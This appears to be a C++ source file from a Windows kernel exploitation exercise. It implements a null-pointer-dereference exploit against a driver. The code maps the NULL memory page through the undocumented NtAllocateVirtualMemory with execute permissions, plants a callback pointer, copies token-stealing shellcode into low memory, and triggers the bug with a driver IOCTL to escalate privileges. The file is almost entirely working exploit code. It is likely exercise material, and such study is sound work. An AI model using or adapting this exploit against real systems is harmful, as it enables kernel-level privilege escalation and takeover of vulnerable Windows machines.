NullPointerDereference.cpp

#include "NullPointerDereference.h"

bool 
ExploitNullPointerDereference::exploit() {
	
	struct NullPtrObject {
		DWORD someValue;
		PVOID callback;
	};
	
	NullPtrObject obj {
		// Must be the magic value
		0xDEADBEEF, //Uninitialized_Magic_Value,
		
		// Doesn't matter, Null page will be dereferenced after all
		reinterpret_cast<PVOID>(0xDEADBEEF)
	};
	
	// NULL memory page address is obviously 0 address.
	const PULONG nullMemoryPage = reinterpret_cast<PULONG>(0x00000000);
	
	// We cannot pass the NULL value (0x0) to the NtAllocateVirtualMemory, but passing
	// 0x1 will suffice as it gets rounded down to 0 anyway.
	const PVOID baseAddress 	= reinterpret_cast<PVOID >(0x00000001);
	
	// Address of the payload within user-mode memory.
	const PVOID payloadAddress 	= reinterpret_cast<PVOID >(0x00000008);
	
	// Any value in range <1, 0x1000> will be rounded-up to the 0x1000.
	const ULONG regionSize = 0x1000;
	
	
	/**
	 * Since both VirtualAlloc and VirtualAllocEx returns ERROR_INVALID_PARAMETER if the base address of the 
	 * allocation is less than 0x00001000, we will have to use another approach to allocate this memory
	 * page. The approach is to use the undocumented `NtAllocateVirtualMemory` function, which do not
	 * holds the same restriction, as the aforementioned two functions.
	**/
		
	wcout << L"[.] Mapping NULL memory page..." << endl;
	
	typeNtAllocateVirtualMemory NtAllocateVirtualMemory;
	NtAllocateVirtualMemory  = reinterpret_cast<typeNtAllocateVirtualMemory>(GetProcAddress(
		GetModuleHandleW(L"ntdll.dll"), 
		"NtAllocateVirtualMemory"
	));
	
	// NULL page mapping allocation has been prohibited in Windows 8.0, but until that it is
	// possible to allocate that specific memory page.
	NTSTATUS stat = NtAllocateVirtualMemory (
		reinterpret_cast<HANDLE>(0xffffffff),
		&baseAddress,
		0,
		const_cast<PULONG>(&regionSize),
		MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
		PAGE_EXECUTE_READWRITE
	);

	if(!NT_SUCCESS(stat)) {
		wcerr << L"[!] NULL memory page mapping failed! Error: 0x" << hex 
			<< setw(8) << setfill(L'0') << stat << endl;
		return false;
	}
	
	try {
		NullPtrObject* objPtr = reinterpret_cast<NullPtrObject*>(nullMemoryPage);
		
		// NULL memory page reference in order to set it up for the exploit.
		// PS: We are *writing* to the address 0x00000004 in System's memory.
		objPtr->callback = reinterpret_cast<PVOID>(payloadAddress);
		
		auto shellcodePtr = adjustPayloadEpilogue(0);
		memcpy(
			payloadAddress,
			*shellcodePtr,
			tokenStealingPayloadSize
		);
	
	} catch(...) {
		wcerr << L"[!] Writing to the NULL memory page failed, due to Access Violation." 
			<< "\tThis means we were not able to map that memory page. Exploit failure." << endl;
		return false;
	}
	
	wcout << L"[+] NULL memory page successfully mapped & initialized." << endl;
	
	bool ret = driver.SendIOCTL (
		ExploitNullPointerDereference::Ioctl_Code,
		&obj,
		sizeof(NullPtrObject)
	);
	
	return ret;
}